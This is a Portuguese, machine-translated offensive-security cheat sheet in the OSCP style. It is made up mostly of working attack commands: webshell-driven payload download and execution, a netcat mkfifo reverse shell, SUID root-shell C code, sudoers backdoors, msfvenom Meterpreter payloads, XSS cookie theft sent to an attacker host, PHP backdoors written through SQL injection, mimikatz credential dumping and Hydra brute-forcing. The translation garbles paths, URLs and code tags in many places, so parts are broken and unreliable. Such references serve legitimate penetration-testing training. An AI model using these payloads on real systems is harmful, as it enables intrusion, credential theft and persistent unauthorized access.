Faça o upload do shell usando um shell de php limitado cmd
use o webshell para baixar e executar o meterpreter
[curl -s –data “cmd = wget[Link] -O / tmp / evil ”http: //$ip/files/[Link]
[curl -s –data“ cmd = chmod 777 / tmp / evil ”http: //$ip/files/[Link]
curl -s –Data “cmd = bash -c / tmp / evil” http: //$ip/files/[Link]
TFTP
mkdir / tftp
atftpd –daemon –port 69 / tftp
cp /usr/share/windows-binaries/[Link] / tftp /
EX. DO WINDOWS HOST:
C: \ Users \ Offsec> tftp -i $ ip get [Link]
FTP
apt-get update && apt-get install pure-ftpd
#! / bin / bash
groupadd ftpgroup
useradd -g ftpgroup -d / dev / null -s / etc ftpuser
pure-pw useradd offsec -u ftpuser -d / ftphome
pure-pw mkdb
cd / etc / pure-ftpd / auth /
ln -s ../conf/PureDB 60pdb
mkdir -p / ftphome
chown -R ftpuser: ftpgroup / ftphome /
/etc/init.d/pure-ftpd restart
Arquivos de embalagem
Ultimate Packer para eXecutables
upx -9 [Link]
exe2bat - Converte EXE em um arquivo de texto que pode ser copiado e colado,
localize exe2bat
wine [Link] [Link] [Link]
Veil - Evasion Framework - [Link]
apt-get -y instalar git
git clone[Link]
cd Veil-Evasion /
cd setup
[Link] -c
Escalonamento de privilégios
A reutilização de senha é sua amiga. Os laboratórios OSCP são realistas, na forma como os
usuários reutilizam senhas em diferentes serviços e até em diferentes caixas. Mantenha uma
lista de senhas quebradas e teste-as nas novas máquinas que encontrar.
Escalonamento de privilégios Linux
Guia de escalonamento de privilégios do Defacto Linux - Um guia muito mais completo para
enumeração de Linux:[Link]
Experimente o óbvio - talvez o usuário seja root ou possa fazer sudo para root:
id
sudo su
Aqui estão os comandos que aprendi a usar para realizar enumeração Linux e escalonamento
de privilégios:
Quais usuários podem fazer login nesta caixa (eles usam seu nome de usuário como senha) ?:
grep -vE "nologin|false" /etc/passwd
Qual versão do kernel estamos usando? Temos algum exploits de kernel para esta versão?
uname -a
searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
Quais aplicativos têm conexões ativas ?:
netstat -tulpn
Quais serviços estão sendo executados como root ?:
ps aux | grep root
Quais arquivos são executados como root / SUID / GUID ?:
find / -perm +2000 -user root -type f -print
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the
owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user
who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user
who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
Quais pastas podem ser escritas por todos ?:
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
Existem alguns scripts que podem automatizar o processo de enumeração do Linux:
Google é minha ferramenta favorita de pesquisa de exploração de kernel do Linux. Muitos
desses verificadores automatizados estão perdendo exploits importantes do kernel, o que
pode criar um ponto cego muito frustrante durante seu curso de OSCP.
[Link] - Meu verificador automatizado favorito de enumeração de priv do Linux -
[Link]
LinEnum - (atualizado recentemente)
[Link]
linux-exploit-Suggester (atualizado recentemente)
[Link]
[Link] Linux Local Enum - Ótimo script de enumeração!
wget [Link]
Linux Privilege Exploit Suggester (antigo não é atualizado há anos)
[Link]
Enumeração pós-exploração do Linux e ferramentas de verificação de exploits
[Link]
Explorações úteis do kernel
CVE-2010-2959 - Escalonamento de privilégio 'CAN BCM' - Linux Kernel <2.6.36-rc1 (Ubuntu
10.04 / 2.6.32)
[Link]
wget -O i-can-haz-modharden.c [Link]
$ gcc i-can-haz-modharden.c -o i-can-haz-modharden
$ ./i-can-haz-modharden
[+] launching root shell!
# id
uid=0(root) gid=0(root)
CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
[Link]
CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 <3.2.2 (Gentoo / Ubuntu x86 / x64)
[Link]
Linux CVE 2012-0056
wget -O exploit.c [Link]
gcc -o mempodipper exploit.c
./mempodipper
CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
[Link]
Existiu pela primeira vez em 2.6.22 (lançado em 2007) e foi corrigido em 18 de outubro de
2016
Execute um comando como um usuário diferente de root
sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/[Link]
Adicionar um usuário ou alterar uma senha
/usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor
echo thePassword | passwd haxzor --stdin
Exploração de escalonamento de privilégio local no Linux
SUID (Set proprietário vocêSer EU IRIA na execução)
Freqüentemente, os arquivos binários SUID C são necessários para gerar um shell como um
superusuário, você pode atualizar o UID / GID e o shell conforme necessário.
abaixo estão alguns exemplos rápidos de copiar e colar para vários shells:
SUID C Shell for /bin/bash
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
SUID C Shell for /bin/sh
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
Building the SUID Shell binary
gcc -o suid suid.c
For 32 bit:
gcc -m32 -o suid suid.c
Crie e compile um SUID a partir de um shell limitado (sem transferência de arquivo)
echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
gcc privsc.c -o privsc
Comando prático se você conseguir que um usuário root o execute. Adicione o usuário www-
data ao grupo Root SUDO sem necessidade de senha:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers &&
chmod 440 /etc/sudoers' > /tmp/update
Você pode descobrir que um comando está sendo executado pelo usuário root, você pode
modificar a variável de ambiente PATH do sistema para executar seu comando. No exemplo
abaixo, ssh é substituído por um SUID de shell reverso conectando-se a [Link] na porta
4444.
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [Link] 4444 >/tmp/f" >>
/tmp/ssh
chmod +x ssh
SearchSploit
searchsploit –uncsearchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
searchsploit slmail
Sugestões de exploração do kernel para a versão 3.0.0 do kernel
./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0
Exploits de kernel Linux pré-compilados - Muito útil se o GCC não estiver instalado na máquina
de destino!
[Link]
Coletar senha de root
cat /etc/shadow |grep root
Encontre e exiba o arquivo [Link] ou [Link] - LOOT!
cat `find / -name [Link] -print`
Escalonamento de privilégios do Windows
Recurso de escalonamento de privilégios do Windows
[Link]
Guia de escalonamento de privilégios Metasploit Meterpreter [Link]
[Link]/metasploit-unleashed/privilege-escalation/
Experimente o óbvio - talvez o usuário seja SYSTEM ou já faça parte do grupo Administrador:
whoami
net user "%username%"
Tente o comando getsystem usando meterpreter - raramente funciona, mas vale a pena
tentar.
meterpreter > getsystem
Nenhum upload de arquivo necessário Coleta de informações básicas do Windows Privlege
Escalation (com base no tutorial de segurança fuzzy e windows_privesc_check.py).
Copie e cole o seguinte conteúdo em seu shell remoto do Windows em Kali para gerar um
relatório rápido:
@echo --------- BASIC WINDOWS RECON --------- > [Link]
timeout 1
net config Workstation >> [Link]
timeout 1
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> [Link]
timeout 1
hostname >> [Link]
timeout 1
net users >> [Link]
timeout 1
ipconfig /all >> [Link]
timeout 1
route print >> [Link]
timeout 1
arp -A >> [Link]
timeout 1
netstat -ano >> [Link]
timeout 1
netsh firewall show state >> [Link]
timeout 1
netsh firewall show config >> [Link]
timeout 1
schtasks /query /fo LIST /v >> [Link]
timeout 1
tasklist /SVC >> [Link]
timeout 1
net start >> [Link]
timeout 1
DRIVERQUERY >> [Link]
timeout 1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >>
[Link]
timeout 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >>
[Link]
timeout 1
dir /s *pass* == *cred* == *vnc* == *.config* >> [Link]
timeout 1
findstr /si password *.xml *.ini *.txt >> [Link]
timeout 1
reg query HKLM /f password /t REG_SZ /s >> [Link]
timeout 1
reg query HKCU /f password /t REG_SZ /s >> [Link]
timeout 1
dir "C:\"
timeout 1
dir "C:\Program Files\" >> [Link]
timeout 1
dir "C:\Program Files (x86)\"
timeout 1
dir "C:\Users\"
timeout 1
dir "C:\Users\Public\"
timeout 1
echo REPORT COMPLETE!
Exploração WEBDAV do Windows Server 2003 e IIS 6.0
[Link]
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Link] LPORT=443 -f asp >
[Link]
cadavar [Link]
dav:/> put [Link]
Uploading [Link] to `/[Link]':
Progress: [=============================>] 100.0% of 38468 bytes succeeded.
dav:/> copy [Link] [Link];.txt
Copying `/[Link]' to `/[Link]%[Link]': succeeded.
dav:/> exit
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [Link]
msf exploit(handler) > set LPORT 80
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
curl [Link]
[*] Started reverse TCP handler on [Link]:443
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to [Link]
[*] Meterpreter session 1 opened ([Link]:443 -> [Link]:1063) at 2017-09-25 13:10:55 -0700
Os exploits de escalonamento de privilégios do Windows são geralmente escritos em Python.
Portanto, é necessário compilar o arquivo usando [Link] em um executável e enviá-lo
para o servidor remoto.
pip install pyinstaller
wget -O [Link] [Link]
python [Link] --onefile [Link]
Escalonamento de privilégios do Windows Server 2003 e IIS 6.0 usando personificação:
[Link]
[Link]
c:\Inetpub>churrasco
churrasco
/churrasco/-->Usage: [Link] [-d] "command to run"
c:\Inetpub>churrasco -d "net user /add <username> <password>"
c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"
Windows MS11-080 - [Link]
python [Link] --onefile [Link]
[Link] -O XP
Powershell Exploits - você pode descobrir que alguns exploits de escalonamento de privilégios
do Windows são escritos no Powershell. Você pode não ter um shell interativo que permita
entrar no prompt do PowerShell. Depois que o script do PowerShell é carregado para o
servidor, aqui está uma linha rápida para executar um comando do PowerShell a partir de um
shell básico ([Link]):
MS16-032 [Link]
powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1;
Invoke-MS16-032 }"
Ferramentas de escalação privada Powershell
[Link]
Windows Run As - Alternar usuários no Linux é uma tarefa complicada com o comando. No
entanto, um comando equivalente não existe no Windows. Aqui estão três maneiras de
executar um comando como um usuário diferente no [Link]
Sysinternals psexec é uma ferramenta útil para executar um comando em um servidor remoto
ou local como um usuário específico, desde que você tenha seu nome de usuário e senha. O
exemplo a seguir cria um shell reverso de um servidor Windows para nossa caixa Kali usando
netcat para Windows e Psexec (em um sistema de 64 bits).
C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\[Link] -nc [Link]
4444 -e [Link]"
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - [Link]
[Link] é uma ferramenta útil do Windows que permite que você execute um programa
como outro usuário, desde que você saiba sua senha. O exemplo a seguir cria um shell reverso
de um servidor Windows para nossa caixa Kali usando netcat para Windows e [Link]:
C:\>C:\Windows\System32\[Link] /env /noprofile /user:Test "c:\users\public\[Link] -nc
[Link] 4444 -e [Link]"
Enter the password for Test:
Attempting to start [Link] as user "COMPUTERNAME\Test" ...
O PowerShell também pode ser usado para iniciar um processo como outro usuário. O
seguinte script PowerShell simples executará um shell reverso com o nome de usuário e senha
especificados.
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object [Link] $username,
$securePassword
Start-Process -FilePath C:\Users\Public\[Link] -NoNewWindow -Credential $credential
-ArgumentList ("-nc","[Link]","4444","-e","[Link]") -WorkingDirectory
C:\Users\Public
Em seguida, execute este script usando [Link]:
powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
Visualizador de configuração de serviço do Windows - Verifique se há configurações incorretas
nos serviços que podem levar ao aumento de privilégios. Você pode substituir o executável
pelo seu próprio e fazer com que o Windows execute qualquer código que desejar como
usuário privilegiado.
icacls [Link]
[Link]
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)
Compile um comando personalizado para adicionar usuário no Windows usando C
root@kali:~# cat useradd.c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
int i;
i=system ("net localgroup administrators low /add");
return 0;
i686-w64-mingw32-gcc -o [Link] useradd.c
Preferências de política de grupo (GPP)
Um erro de configuração comum e útil encontrado em ambientes de domínio modernos são os
arquivos de configurações GPP do Windows desprotegidos
mapear o compartilhamento SYSVOL do controlador de domínio
net use z:\\dc01\SYSVOL
Encontre o arquivo GPP: [Link]
dir /s [Link]
Revise o conteúdo de senhas
type [Link]
Descriptografar usando GPP Descriptografar
gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
Encontre e exiba o [Link] ou [Link] - pegue o saque!
#meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s [Link] type
c:\pathto\[Link]
Ataques de cliente, web e senha
Ataques de cliente
MS12-037- Internet Explorer 8 Fixed Col Span ID
wget -O [Link]://[Link]/download/24017
serviço apache2 start
Echo de ataque do lado do cliente Jar assinado em JAVA ''> /var/www/html/[Link] O
usuário deve clicar em executar no pop-up que ocorrer.
Shell de cliente Linux
[Link]
Configurando o Client Side Exploit
Trocando o Shellcode
Injetando um shell de backdoor no [Link]
backdoor-factory -f /usr/share/windows-binaries/[Link] -H $ ip -P 4444 -s reverse_shell_tcp
Ataques na web
Plataforma de avaliação de vulnerabilidade de aplicativos Web Shag
webshag-gui
Web Shells
[Link]
ls -l /usr/share/webshells/
Gerar um backdoor PHP (gerar) protegido com a senha fornecida (s3cr3t)
weevely generate s3cr3t
weevely http: //$ip/[Link] s3cr3t
Ataque de miniaplicativo assinado em Java
Enumeração de servidor web HTTP / HTTPS
OWASP Dirbuster
nikto -h $ ip
Gerenciador de cookies de complementos essenciais do
Iceweasel[Link]
Adulteração de dados
[Link]
Impactos significativos de Cross Site Scripting (XSS) , como roubo de cookies e desvio de
autenticação, redirecionamento do navegador da vítima para uma página HTML maliciosa e
muito mais
Redirecionamento de navegador e injeção de IFRAME
<iframe SRC="http: // $ ip / report" altura = "0" largura="0"> </iframe>
Roubo de cookies e informações de sessão
<javascript>
Novo imagem().src="http: //$ip/[Link]? output ="+[Link];
</roteiro>
nc -nlvp 80
Vulnerabilidades de inclusão de arquivo
Vulnerabilidades de inclusão de arquivo local (LFI) e remoto (RFI) são comumente encontradas
em código PHP mal escrito.
fimap - Há uma ferramenta Python chamada fimap que pode ser aproveitada para automatizar
a exploração de vulnerabilidades LFI / RFI que são encontradas no PHP (sqlmap for LFI):
[Link]
Obtendo um shell de phpinfo ()
fimap + phpinfo () Exploit - Se um arquivo phpinfo () estiver presente, geralmente é possível
obter um shell, se você não souber a localização do arquivo phpinfo, o fimap pode sondá-lo ou
você pode usar uma ferramenta como OWASP DirBuster.
Para inclusões de arquivos locais, procure a função include () no código PHP.
incluir("lang /".$ _COOKIE['lang']);
incluir($ _GET['página'].".php");
LFI - codifica e decodifica um arquivo usando base64
curl -s \
"http: //$ ip/?page=php://filter/convert.base64-encode/resource=index" \
| grep -e '\ [^ \\ \] \\ {40, \\}' | base64 -d
LFI - Baixar arquivo com codificação base 64
http: //$ip/[Link]? page = php: //filter/convert.base64-encode/resource=[Link]
Arquivos LFI Linux:
/ etc / issue
/ proc / version
/ etc / profile
/ etc / passwd
/ etc / passwd
/ etc / shadow
/root/.bash_history
/ var / log / dmessage
/ var / mail / root
/ var / spool / cron / crontabs / root
Arquivos LFI do Windows:
% SYSTEMROOT% \ repair \ system
% SYSTEMROOT% \ repair \ SAM
% SYSTEMROOT% \ repair \ SAM
% WINDIR% \ [Link]
% SYSTEMDRIVE% \ [Link]
% WINDIR% \ Panther \ [Link]
% WINDIR % \ system32 \ config \ [Link]
Arquivos LFI OSX:
/ etc / fstab
/etc/[Link]
/etc/[Link]
/ etc / sudoers
/etc/[Link]
LFI - Baixar arquivo de senhas
http: //$ip/[Link]? page = / etc / passwd
http: //$ip/[Link]? file = .. / .. / .. / .. / etc / passwd
LFI - Baixar arquivo de senhas com evasão de filtro
http: //$ip/[Link]? file = ..% 2F ..% 2F ..% 2F ..% 2Fetc% 2Fpasswd
Inclusão de arquivo local - Nas versões do PHP abaixo de 5.3, podemos terminar com o byte
nulo
GET /[Link]?name=Haxor&comment=Merci!&LANG=../../../../../../ .. / windows /
system32 / drivers / etc / hosts% 00
Arquivos de log de contaminação <?php echo shell_exec($_GET['cmd']);?>
Para uma inclusão de arquivo remoto, procure o código php que não foi limpo e passado para
a função de inclusão do PHP e o arquivo [Link] deve ser configurado para permitir arquivos
remotos
/etc/php5/cgi/[Link] - “allow_url_fopen” e “allow_url_include” ambos definidos como “on”
include($_REQUEST["file"].".php");
Inclusão de arquivo remoto
[Link]
name=a&comment=b&LANG=[Link]
<?php echo shell\_exec("ipconfig");?>
Vulnerabilidades de banco de dados
Jogando com a sintaxe SQL Uma ótima ferramenta que encontrei para brincar com a sintaxe
SQL para uma variedade de tipos de banco de dados (MSSQL Server, MySql, PostGreSql,
Oracle) é o SQL Fiddle:
[Link]
Outro site é [Link]:
[Link]
Detectando vulnerabilidades de injeção de SQL.
A maioria das ferramentas de varredura automatizadas modernas usa técnicas de atraso de
tempo para detectar vulnerabilidades de injeção de SQL. Este método pode dizer se uma
vulnerabilidade de injeção de SQL está presente, mesmo se for uma vulnerabilidade de injeção
de sql “cega” que não fornece nenhum dado de volta. Você sabe que sua injeção de SQL está
funcionando quando o servidor leva MUUuuuito tempo para responder. Eu adicionei um
comentário de linha no final de cada instrução de injeção para o caso de haver código SQL
adicional após o ponto de injeção.
Detecção de atraso no tempo de injeção do MSSQL Server SQL: Adicionar um atraso de 30
segundos a uma consulta de servidor MSSQL
Consulta Original
SELECT * FROM products WHERE name='Test';
Valor de Injeção
'; WAITFOR DELAY '00:00:30'; --
Consulta Resultante
SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --
Detecção de atraso no tempo de injeção do MySQL: Adicione um atraso de 30 segundos a uma
consulta MySQL
Consulta Original
SELECT * FROM products WHERE name='Test';
Valor de Injeção
'-SLEEP(30); #
Consulta Resultante
SELECT * FROM products WHERE name='Test'-SLEEP(30); #
Detecção de atraso no tempo de injeção PostGreSQL: Adicione um atraso de 30 segundos a
uma consulta PostGreSQL
Consulta Original
SELECT * FROM products WHERE name='Test';
Valor de Injeção
'; SELECT pg_sleep(30); --
Consulta Resultante
SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --
Obtenha hashes de senha de um banco de dados mysql de aplicativo da web chamado
“Usuários” - assim que você tiver o nome de usuário e a senha raiz do MySQL
mysql -u root -p -h $ip
use "Users"
show tables;
select \* from users;
Bypass de autenticação
name='wronguser' or 1=1;
name='wronguser' or 1=1 LIMIT 1;
Enumerando o banco de dados
[Link]
Mensagem de erro detalhada?
[Link] order by 1
[Link] union all select 1,2,3,4,5,6
Determine a versão do MySQL:
[Link] union all select 1,2,3,4,@@version,6
Usuário atual sendo usado para a conexão do banco de dados:
[Link] union all select 1,2,3,4,user(),6
Enumere tabelas de banco de dados e estruturas de coluna
[Link] union all select 1,2,3,4,table_name,6 FROM
information_schema.tables
Segmente a tabela de usuários no banco de dados
[Link] union all select 1,2,3,4,column_name,6 FROM
information_schema.columns where table_name='users'
Extraia o nome e a senha
[Link] union select 1,2,3,4,concat(name,0x3a, password),6 FROM
users
Crie um backdoor
[Link] union all select 1,2,3,4,"<?php echo
shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/[Link]'
Exemplos SQLMap
Rastreie os links
sqlmap -u [Link] --crawl=1
sqlmap -u [Link] --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5
--risk=3
SQLMap Pesquisa por bancos de dados contra uma injeção GET SQL suspeita
sqlmap –u [Link] –dbs
Tabelas de despejo SQLMap do banco de dados oscommerce na injeção GET SQL
sqlmap –u [Link] –dbs –D oscommerce –tables –dumps
Comando SQLMap GET Parameter
sqlmap -u [Link] --dbms=mysql --dump -threads=5
Parâmetro SQLMap Post Username
sqlmap -u [Link] --method=POST
--data="usermail=asc@[Link]&password=1231" -p "usermail" --risk=3 --level=5
--dbms=MySQL --dump-all
SQL Map OS Shell
sqlmap -u [Link] --dbms=mysql --osshell
sqlmap -u [Link] --method=POST
--data="usermail=asc@[Link]&password=1231" -p "usermail" --risk=3 --level=5
--dbms=MySQL --os-shell
Verificação automatizada de sqlmap
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user
--current-db --passwords --file-read="/var/www/[Link]"
Verificação de sqlmap direcionada
sqlmap -u "[Link] --dbms=mysql --tech=U --random-agent --dump
Faça a varredura da url para união + injeção baseada em erro com o backend mysql e use um
agente de usuário aleatório + despejo de banco de dados
sqlmap -o -u [Link] --forms --dbs
sqlmap -o -u "[Link] --forms
Formulário de verificação do Sqlmap para injeção
sqlmap -o -u "[Link] --forms -D database-name -T users --dump
Enumerar bancos de dados
sqlmap --dbms=mysql -u "$URL" --dbs
Enumere tabelas de um banco de dados específico
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
Dados da tabela de despejo de um banco de dados e tabela específicos
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
Especifique o parâmetro para explorar
sqlmap --dbms=mysql -u "[Link] --dbs -p
param2
Especifique o parâmetro para explorar em URIs 'agradáveis' (exploits param1)
sqlmap --dbms=mysql -u "[Link] --dbs
Obter shell do sistema operacional
sqlmap --dbms=mysql -u "$URL" --os-shell
Obter shell SQL
sqlmap --dbms=mysql -u "$URL" --sql-shell
Consulta SQL
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"
Use o proxy Tor Socks5
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
Exemplos NoSQLMap Você pode encontrar instâncias NoSQL como MongoDB em seus diários
OSCP ( ). NoSQLMap pode ajudá-lo a automatizar a enumeração NoSQLDatabase./cgi-
bin/mongo/2.2.3/[Link]
Instalação NoSQLMap
git clone [Link]
CD NoSQLMap /
ls
pip instalar o couchdb
pip install pbkdf2
pip install ipcalc
python [Link]
Frequentemente, você pode criar uma mensagem de despejo de exceção com MongoDB
usando uma NoSQLQuery malformada, como:
a'; return this.a != 'BadData’'; var dummy='!
Ataques de senha
Descriptografia AES
[Link]
Converta várias páginas da web em uma lista de palavras
para x dentro 'índice' 'sobre' 'postar' 'contato' ; Faz \
curl http: //$ ip/$ [Link] | html2markdown | tr -s ' ' '\\ n' >> [Link] ; \
feito
Ou converta html para dicionário de lista de palavras
html2dic [Link] | sort -u > [Link]
Nomes de usuário e senhas padrão
CIRT
[Link]
Segurança governamental - logins e senhas padrão para dispositivos em rede
[Link]
[Link]
[Link]
[Link]
Senha padrão
[Link]
Força bruta
Scripts de força bruta do Nmap
[Link]
Nmap Genérico com detecção automática de ataque de força bruta: nmap --script brute -Pn
<[Link] or ip>
Ataque de força bruta do MySQL nmap: nmap --script=mysql-brute $ip
Arquivos de Dicionário
Listas de palavras em Kali
cd /usr/share/wordlists
Força bruta do espaço-chave
crunch 6 6 0123456789ABCDEF -o [Link]
crunch 4 4 -f /usr/share/crunch/[Link] mixalpha
crunch 8 8 -t ,@@^^%%%
Pwdump e Fgdump - Gerente de contas de segurança (SAM)
[Link] - tentativas de extrair hashes de senha
[Link] - tenta eliminar antivírus locais antes de tentar despejar os hashes de senha e
credenciais em cache.
Editor de Credenciais do Windows (WCE)
permite executar vários ataques para obter senhas e hashes em texto claro. Uso: wce -w
Mimikatz
extraia senhas de texto simples, hash, código PIN e tíquetes Kerberos da memória. mimikatz
também pode executar passe-o-hash, passe-o-tíquete ou crie tíquetes Golden
[Link] A partir do metasploit meterpreter (deve ter acesso de
nível de sistema):
meterpreter> load mimikatz
meterpreter> help mimikatz
meterpreter> msv
meterpreter> kerberos
meterpreter> mimikatz_command -f samdump::hashes
meterpreter> mimikatz_command -f sekurlsa::searchPasswords
Perfil de senha
cewl pode gerar uma lista de senhas a partir de uma página da web
cewl [Link] -m 6 -w [Link]
Senha mutante
John, o ripper, pode transformar listas de senhas
nano /etc/john/[Link]
john --wordlist=[Link] --rules --stdout > [Link]
Medusa
Medusa, iniciado em um diretório da web protegido por htaccess
medusa -h $ip -u admin -P [Link] -M http -m DIR:/admin -T 10
Ncrack
ncrack (dos criadores do nmap) pode RDP de força bruta
ncrack -vv --user offsec -P [Link] rdp://$ip
Hidra
Força bruta Hydra contra SNMP
hydra -P [Link] -v $ip snmp
Usuário conhecido do Hydra FTP e lista de senhas do rockyou
hydra -t 1 -l admin -P /usr/share/wordlists/[Link] -vV $ip ftp
Hydra SSH usando lista de usuários e senhas
hydra -v -V -u -L [Link] -P [Link] -t 1 -u $ip ssh
Hydra SSH usando uma senha conhecida e uma lista de nome de usuário
hydra -v -V -u -L [Link] -p "<known password>" -t 1 -u $ip ssh
Hydra SSH contra nome de usuário conhecido na porta 22
hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt
Força bruta Hydra POP3
hydra -l USERNAME -P /usr/share/[Link] -f $ip pop3 -V
Hydra SMTP Brute Force
hydra -P /usr/share/[Link] $ip smtp -V
Hydra attack http obtém 401 login com um dicionário
hydra -L ./[Link] -P ./[Link] $ip http-get /admin
Hydra ataque Windows Remote Desktop com rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/[Link] rdp://$ip
Usuário SMB de força bruta Hydra com rockyou:
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/[Link] $ip smb
Hydra brute force um login de administrador do Wordpress
hydra -l admin -P ./[Link] $ip -V http-form-post '/wp-
[Link]:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
Ataques de hash de senha
Quebra de senha online
[Link] [Link]
Hashcat necessário para instalar novos drivers para fazer meu GPU cracking funcionar na VM
linux Kali e também tive que usar o parâmetro –force.
apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev
apt-get install pocl-opencl-icd
Cracking Linux Hashes - arquivo / etc / shadow
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
Cracking Windows Hashes
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
Cracking Hashes de aplicativos comuns
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
Crie um arquivo .hash com todos os hashes que você deseja quebrar [Link]:
$1$[Link]$AdLnLjQ/5jXF9.MTp3gHv/
Exemplo de Hashcat quebrando senhas md5crypt do Linux $ 1 $ usando rockyou:
hashcat --force -m 500 -a 0 -o [Link] --remove [Link]
/usr/share/wordlists/[Link]
Hash de amostra do Wordpress: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/
Texto simples do Wordpress: test
Exemplo de Hashcat quebrando senhas do Wordpress usando rockyou:
hashcat --force -m 400 -a 0 -o [Link] --remove [Link]
/usr/share/wordlists/[Link]
Hashes de amostra
[Link]
Identificar Hashes
hash-identifier
Para quebrar os hashes do Linux, você deve primeiro retirá-los da sombra:
unshadow [Link] [Link]
unshadow [Link] [Link] > [Link]
John the Ripper - Quebra de hash de senha
john $[Link]
john --wordlist=/usr/share/wordlists/[Link] hashes
john --rules --wordlist=/usr/share/wordlists/[Link]
john --rules --wordlist=/usr/share/wordlists/[Link] [Link]
JTR forçado a criptografar cracking com lista de palavras
john --format=descrypt --wordlist /usr/share/wordlists/[Link] [Link]
JTR forçado a descrever rachadura de força bruta
john --format=descrypt hash --show
Passando o Hash no Windows
Use o Metasploit para explorar um dos servidores SMB nos laboratórios. Despeje os hashes de
senha e tente um ataque pass-the-hash contra outro sistema:
export
SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U administrator //$ip cmd
Networking, Pivoting e Tunneling
Encaminhamento de porta - aceita o tráfego em um determinado endereço IP e porta e
redireciona-o para um endereço IP e porta diferentes
apt-get install rinetd
cat /etc/[Link]
# bindadress bindport connectaddress connectport
w.x.y.z 53 a.b.c.d 80
Encaminhamento de porta local SSH: suporta canais de comunicação bidirecionais
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
Encaminhamento de porta remota SSH: Adequado para abrir um shell remoto em uma rede
interna não roteável
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
